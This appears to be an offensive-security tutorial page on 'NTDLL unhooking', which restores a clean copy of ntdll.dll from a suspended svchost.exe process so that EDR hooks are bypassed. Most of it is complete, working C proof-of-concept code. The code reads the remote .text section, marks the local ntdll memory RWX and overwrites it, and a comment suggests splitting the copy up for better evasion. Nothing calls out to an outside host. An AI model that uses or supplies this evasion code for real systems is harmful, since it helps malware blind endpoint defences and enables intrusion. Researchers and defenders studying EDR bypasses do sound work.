NTDLL Unhooking - From Suspended Process

Introduction

An alternate approach to loading NTDLL is to read it from a suspended process. This works because EDR's require a running process to to install their hooks. Here's how it works:

  • We create a process in a suspended state. (Contains clean ntdll.dll)

  • Get local base address of ntdll.dll. (Imported dlls share the same base address between processes)

  • Get remote address of suspended process

  • Access remote ntdll by fetching the local ntdll address (imported DLL's have the same VA values between processes)PAGE_EXECUTE_READWRITE

  • Allocate Heap and copy .text from remote to local using SizOfCode found in OptionalHeader

  • VirtualProtect local ntdll with RW & Copy memory from heap to ntdll base address.

Do to ASLR, the virtual address of an imported library will be the same throughout all processes that import it. This is shared below:

Example

The below screen shot is of svchost.exe (a suspended process we started). We are locating the NTDLL.dll based on the same address we fetched from the local PEB in unhooking.exe

Required Helper Functions

The following functions are required to create a suspended file, get the base address of the created file, and to get the address of the local ntdll.dll


typedef NTSTATUS (NTAPI* fnNtQueryInformationProcess) (
        HANDLE           ProcessHandle,
        PROCESSINFOCLASS ProcessInformationClass,
        PVOID            ProcessInformation,
        ULONG            ProcessInformationLength,
        PULONG           ReturnLength
        );

BOOL CreateSuspendedProcess(STARTUPINFO *pSi, PPROCESS_INFORMATION pPi) {
    pSi->cb = sizeof(*pSi);
    // Just a POC: Update this with the dynamic filepath fetch for "svchost.exe"
    if (CreateProcessW(L"C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, pSi, pPi) == 0) {
        wprintf(L"CreateProcessW Failed %d", GetLastError()) ;
        return FALSE;
    };
    return TRUE;
}

PVOID FetchRemoteBaseAddress(PPROCESS_INFORMATION pPi, PPROCESS_BASIC_INFORMATION pPbi) {

    fnNtQueryInformationProcess NtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtQueryInformationProcess");
    // get target image PEB address and pointer to image base
    DWORD dwReturnLength = 0;
    LPVOID imageBase;
    NtQueryInformationProcess(pPi->hProcess, ProcessBasicInformation, pPbi, sizeof(PROCESS_BASIC_INFORMATION), &dwReturnLength);
    DWORD_PTR pebOffset = (DWORD_PTR)pPbi->PebBaseAddress + 0x10;
    ReadProcessMemory(pPi->hProcess, (LPCVOID)pebOffset, &imageBase, sizeof(LPVOID), NULL);
    return imageBase;
}

PVOID FetchLocalNtdllAddress() {
    PPEB pPeb = (PPEB)__readgsqword(0x60);
    PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);
    return pLdr->DllBase;
}

Full Code

#include <windows.h>
#include <winternl.h>
#include <wchar.h>
#include <stdio.h>

#define NTDLL L"NTDLL"

typedef NTSTATUS (NTAPI* fnNtQueryInformationProcess) (
        HANDLE           ProcessHandle,
        PROCESSINFOCLASS ProcessInformationClass,
        PVOID            ProcessInformation,
        ULONG            ProcessInformationLength,
        PULONG           ReturnLength
        );

BOOL CreateSuspendedProcess(STARTUPINFO *pSi, PPROCESS_INFORMATION pPi) {
    pSi->cb = sizeof(*pSi);
    // Just a POC: Update this with the dynamic filepath fetch for "svchost.exe"
    if (CreateProcessW(L"C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, pSi, pPi) == 0) {
        wprintf(L"CreateProcessW Failed %d", GetLastError()) ;
        return FALSE;
    };
    return TRUE;
}

PVOID FetchRemoteBaseAddress(PPROCESS_INFORMATION pPi, PPROCESS_BASIC_INFORMATION pPbi) {

    fnNtQueryInformationProcess NtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtQueryInformationProcess");
    // get target image PEB address and pointer to image base
    DWORD dwReturnLength = 0;
    LPVOID imageBase;
    NtQueryInformationProcess(pPi->hProcess, ProcessBasicInformation, pPbi, sizeof(PROCESS_BASIC_INFORMATION), &dwReturnLength);
    DWORD_PTR pebOffset = (DWORD_PTR)pPbi->PebBaseAddress + 0x10;
    ReadProcessMemory(pPi->hProcess, (LPCVOID)pebOffset, &imageBase, sizeof(LPVOID), NULL);
    return imageBase;
}

PVOID FetchLocalNtdllAddress() {
    PPEB pPeb = (PPEB)__readgsqword(0x60);
    PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);
    return pLdr->DllBase;
}


int wmain() {

    // Create process
    STARTUPINFO si = {0};
    PROCESS_INFORMATION pi = {0};
    PROCESS_BASIC_INFORMATION pbi = {0};

    // Create Suspended Process
    if (!CreateSuspendedProcess(&si, &pi)) {
        return -1;
    }

    // Get Local NTDLL Base Address
    PVOID pNtdllBaseAddress = FetchLocalNtdllAddress();

    wprintf(L"[+] NTDLL Base Address %p\n", pNtdllBaseAddress);
    wprintf(L"[+] Suspended PIDS: %d\n", pi.dwProcessId);


    // Parse Local PE Headers
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pNtdllBaseAddress;
    if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        wprintf(L"[!] DOS Signature Failed\n");
        return -1;
    }

    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(pNtdllBaseAddress + pDosHeader->e_lfanew);

    if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
        wprintf(L"[!] NT Signature Failed\n ");
        return -1;
    }

    PIMAGE_OPTIONAL_HEADER pImgOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&pNtHeaders->OptionalHeader;

    // Get Size of .Text Section
    DWORD dwNtdllTextSize = pImgOptionalHeader->SizeOfCode;
    // Get Base address of .Text Section
    PVOID pAddressOfText = pNtdllBaseAddress + pImgOptionalHeader->BaseOfCode;


    wprintf(L"[+] Size of NTDLL .text section %d\n", dwNtdllTextSize);

    // Allocate Heap
    PVOID lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwNtdllTextSize);

    // Copy Remote .Text Section to Allocated Buffer
    size_t ulBytesWritten = 0;
    ReadProcessMemory(pi.hProcess, pAddressOfText, lpBuffer, dwNtdllTextSize,  &ulBytesWritten);

    wprintf(L"[+] Wrote %d bytes to: %p\n", ulBytesWritten, lpBuffer);

    // Change permissions of local NTDLL
    DWORD dwOldPermissions;
    if (!VirtualProtect(pAddressOfText, dwNtdllTextSize, PAGE_EXECUTE_READWRITE, &dwOldPermissions)) {
        wprintf(L"[!] VirtualProtect[1] Failed %d", GetLastError() );
        return -1;
    }

    // This is just a POC, to avoid evasion properly needs more.
    // Example: Breaking apart copy into seperate spread out functions

    memcpy(pAddressOfText, lpBuffer, dwNtdllTextSize);

    if (!VirtualProtect(pAddressOfText, dwNtdllTextSize, dwOldPermissions, &dwOldPermissions)) {
        wprintf(L"[!] VirtualProtect[2] Failed %d", GetLastError() );
        return -1;
    }

    getchar();
    return 0;
}

Last updated